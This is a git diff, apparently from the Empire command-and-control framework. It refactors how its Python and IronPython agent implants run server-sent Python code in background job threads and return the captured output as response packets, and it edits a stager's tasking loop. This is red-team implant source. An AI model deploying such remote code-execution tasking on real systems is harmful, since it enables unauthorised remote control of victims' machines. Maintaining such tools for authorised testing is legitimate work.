diff --git a/CHANGELOG.md b/CHANGELOG.md index 3288c15ee..1c8ba73f0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **Security** in case of vulnerabilities. ## [Unreleased] +- Fixed background jobs for the python agent. ## [6.5.0] - 2026-03-08 - Updated Starkiller to v3.4.0 diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py index a2e63da39..d6eb49be1 100644 --- a/empire/server/data/agent/agent.py +++ b/empire/server/data/agent/agent.py @@ -606,10 +606,9 @@ def dynamic_code_execute_wait_nosave(self, data, result_id): try: globals().update({'agent':self}) buffer = StringIO() - sys.stdout = buffer + exec_globals = {**globals(), 'print': lambda *a, **k: print(*a, **k, file=buffer)} code_obj = compile(data, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ + exec(code_obj, exec_globals) results = buffer.getvalue() self.packet_handler.send_message(self.packet_handler.build_response_packet(110, str(results), result_id)) self.tasks[result_id]["status"] = "completed" @@ -634,10 +633,9 @@ def dynamic_code_execution_wait_save(self, data, result_id): data = data[20:] try: buffer = StringIO() - sys.stdout = buffer code_obj = compile(data, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ + exec_globals = {**globals(), 'print': lambda *a, **k: print(*a, **k, file=buffer)} + exec(code_obj, exec_globals) results = buffer.getvalue().encode("latin-1") c = compress() start_crc32 = c.crc32_data(results) @@ -668,99 +666,53 @@ def dynamic_code_execution_wait_save(self, data, result_id): ) self.tasks[result_id]["status"] = "error" - def disk_code_execution_wait_save(self, data, result_id): + def python_job_func(self, data, result_id): """ - Execute on-disk code and wait for the results while saving output. + Execute python script, wait for the results and return stdout. Adjusted for Windows and cross-platform compatibility. Task 112 """ - try: - script_globals = {} - output_capture = io.StringIO() - sys.stdout = output_capture - - try: - exec(data, script_globals) - except SyntaxError as e: - result = "[!] Syntax error in script: %s on line %d - %s" % (str(e), e.lineno, e.text) - self.packet_handler.send_message( - self.packet_handler.build_response_packet(0, result, result_id) - ) - self.tasks[result_id]["status"] = "error" - return - - except Exception as e: - result = "[!] Error executing script: %s" % str(e) - self.packet_handler.send_message( - self.packet_handler.build_response_packet(0, result, result_id) - ) - self.tasks[result_id]["status"] = "error" - return + output_capture = io.StringIO() + script_globals = {'print': lambda *a, **k: print(*a, **k, file=output_capture)} + try: + exec(data, script_globals) captured_output = output_capture.getvalue() - if captured_output: result = "[*] Output from script:\n" + captured_output else: result = "[*] No output captured from the script.\n" - if 'output' in script_globals: result += "[*] Output variable from script: \n" + str(script_globals['output']) - self.packet_handler.send_message( self.packet_handler.build_response_packet(112, result, result_id) ) self.tasks[result_id]["status"] = "completed" - except Exception as e: + except SyntaxError as e: + result = "[!] Syntax error in script: %s on line %d - %s" % (str(e), e.lineno, e.text) self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 0, "error executing TASK_PYTHON_CMD_JOB: %s" % (e), result_id - ) + self.packet_handler.build_response_packet(0, result, result_id) ) self.tasks[result_id]["status"] = "error" - finally: - sys.stdout = sys.__stdout__ + except Exception as e: + result = "[!] Error executing script: %s" % str(e) + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, result, result_id) + ) + self.tasks[result_id]["status"] = "error" def start_python_job(self, code, result_id): - # create a new code block with a defined method name - code_block = "def method():\n" + indent(code) - - # register the code block - code_obj = compile(code_block, "", "exec") - # code needs to be in the global listing - # not the locals() scope - exec(code_obj, globals()) - # create/process Packet start/return the thread # call the job_func so sys data can be captured - code_thread = KThread(target=self.python_job_func, args=(result_id,)) + code_thread = KThread(target=self.python_job_func, args=(code, result_id,)) code_thread.start() self.tasks[result_id]['task_thread'] = code_thread self.tasks[result_id]["status"] = "running" - def python_job_func(self, result_id): - try: - buffer = StringIO() - sys.stdout = buffer - # now call the function required - # and capture the output via sys - method() - sys.stdout = sys.__stdout__ - data_stats = buffer.getvalue() - result = self.packet_handler.build_response_packet(110, str(data_stats), result_id) - self.packet_handler.process_job_tasking(result) - self.tasks[result_id]["status"] = "completed" - - except Exception as e: - p = "error executing specified Python job data: " + str(e) - result = self.packet_handler.build_response_packet(0, p, result_id) - self.packet_handler.process_job_tasking(result) - self.tasks[result_id]["status"] = "error" - def job_message_buffer(self, message): # Supports job messages for checkin try: @@ -1097,7 +1049,7 @@ def process_packet(self, packet_type, data, result_id): self.dynamic_code_execution_wait_save(data, result_id) elif packet_type == 112: - self.disk_code_execution_wait_save(data, result_id) + self.start_python_job(data, result_id) elif packet_type == 113: self.start_python_job(data, result_id) diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index 2476a8309..fddc40f14 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -1007,10 +1007,9 @@ def dynamic_code_execute_wait_nosave(self, data, result_id): """ try: buffer = StringIO() - sys.stdout = buffer + exec_globals = {**globals(), 'print': lambda *a, **k: print(*a, **k, file=buffer)} code_obj = compile(data, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ + exec(code_obj, exec_globals) results = buffer.getvalue() self.packet_handler.send_message(self.packet_handler.build_response_packet(110, str(results), result_id)) self.tasks[result_id]["status"] = "completed" @@ -1034,10 +1033,9 @@ def dynamic_code_execution_wait_save(self, data, result_id): data = data[20:] try: buffer = StringIO() - sys.stdout = buffer code_obj = compile(data, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ + exec_globals = {**globals(), 'print': lambda *a, **k: print(*a, **k, file=buffer)} + exec(code_obj, exec_globals) results = buffer.getvalue().encode("latin-1") c = compress() start_crc32 = c.crc32_data(results) @@ -1068,61 +1066,6 @@ def dynamic_code_execution_wait_save(self, data, result_id): ) self.tasks[result_id]["status"] = "error" - def disk_code_execution_wait_save(self, data, result_id): - """ - Execute on-disk code and wait for the results while saving output. - Adjusted for Windows and cross-platform compatibility. - Task 112 - """ - try: - script_globals = {} - output_capture = io.StringIO() - sys.stdout = output_capture - - try: - exec(data, script_globals) - except SyntaxError as e: - result = "[!] Syntax error in script: %s on line %d - %s" % (str(e), e.lineno, e.text) - self.packet_handler.send_message( - self.packet_handler.build_response_packet(0, result, result_id) - ) - self.tasks[result_id]["status"] = "error" - return - - except Exception as e: - result = "[!] Error executing script: %s" % str(e) - self.packet_handler.send_message( - self.packet_handler.build_response_packet(0, result, result_id) - ) - self.tasks[result_id]["status"] = "error" - return - - captured_output = output_capture.getvalue() - - if captured_output: - result = "[*] Output from script:\n" + captured_output - else: - result = "[*] No output captured from the script.\n" - - if 'output' in script_globals: - result += "[*] Output variable from script: \n" + str(script_globals['output']) - - self.packet_handler.send_message( - self.packet_handler.build_response_packet(112, result, result_id) - ) - self.tasks[result_id]["status"] = "completed" - - except Exception as e: - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 0, "error executing TASK_PYTHON_CMD_JOB: %s" % (e), result_id - ) - ) - self.tasks[result_id]["status"] = "error" - - finally: - sys.stdout = sys.__stdout__ - def powershell_task(self, data, result_id): """ Execute a PowerShell command. @@ -1224,43 +1167,53 @@ def powershell_task_dyanmic_code_wait_nosave(self, data, result_id): ) self.tasks[result_id]["status"] = "error" - def start_python_job(self, code, result_id): - # create a new code block with a defined method name - code_block = "def method():\n" + indent(code) + def python_job_func(self, data, result_id): + """ + Execute python script, wait for the results and return stdout. + Adjusted for Windows and cross-platform compatibility. + Task 112 + """ + + output_capture = io.StringIO() + script_globals = {'print': lambda *a, **k: print(*a, **k, file=output_capture)} - # register the code block - code_obj = compile(code_block, "", "exec") - # code needs to be in the global listing - # not the locals() scope - exec(code_obj, globals()) + try: + exec(data, script_globals) + captured_output = output_capture.getvalue() + if captured_output: + result = "[*] Output from script:\n" + captured_output + else: + result = "[*] No output captured from the script.\n" + if 'output' in script_globals: + result += "[*] Output variable from script: \n" + str(script_globals['output']) + self.packet_handler.send_message( + self.packet_handler.build_response_packet(112, result, result_id) + ) + self.tasks[result_id]["status"] = "completed" + except SyntaxError as e: + result = "[!] Syntax error in script: %s on line %d - %s" % (str(e), e.lineno, e.text) + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, result, result_id) + ) + self.tasks[result_id]["status"] = "error" + + except Exception as e: + result = "[!] Error executing script: %s" % str(e) + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, result, result_id) + ) + self.tasks[result_id]["status"] = "error" + + def start_python_job(self, code, result_id): # create/process Packet start/return the thread # call the job_func so sys data can be captured - code_thread = KThread(target=self.python_job_func, args=(result_id,)) + code_thread = KThread(target=self.python_job_func, args=(code, result_id,)) code_thread.start() self.tasks[result_id]['task_thread'] = code_thread self.tasks[result_id]["status"] = "running" - def python_job_func(self, result_id): - try: - buffer = StringIO() - sys.stdout = buffer - # now call the function required - # and capture the output via sys - method() - sys.stdout = sys.__stdout__ - data_stats = buffer.getvalue() - result = self.packet_handler.build_response_packet(110, str(data_stats), result_id) - self.packet_handler.process_job_tasking(result) - self.tasks[result_id]["status"] = "completed" - - except Exception as e: - p = "error executing specified Python job data: " + str(e) - result = self.packet_handler.build_response_packet(0, p, result_id) - self.packet_handler.process_job_tasking(result) - self.tasks[result_id]["status"] = "error" - def job_message_buffer(self, message): # Supports job messages for checkin try: @@ -1629,7 +1582,7 @@ def process_packet(self, packet_type, data, result_id): self.dynamic_code_execution_wait_save(data, result_id) elif packet_type == 112: - self.disk_code_execution_wait_save(data, result_id) + self.start_python_job(data, result_id) elif packet_type == 113: self.start_python_job(data, result_id) diff --git a/empire/server/data/agent/stagers/common/chacha.py b/empire/server/data/agent/stagers/common/chacha.py index 8fd1089a6..bb6f12d9e 100644 --- a/empire/server/data/agent/stagers/common/chacha.py +++ b/empire/server/data/agent/stagers/common/chacha.py @@ -301,9 +301,6 @@ def process_tasking(self, data): packetOffset += 12 + length - # send_message() is patched in from the listener module - self.send_message(resultPackets) - except Exception as e: print(e) pass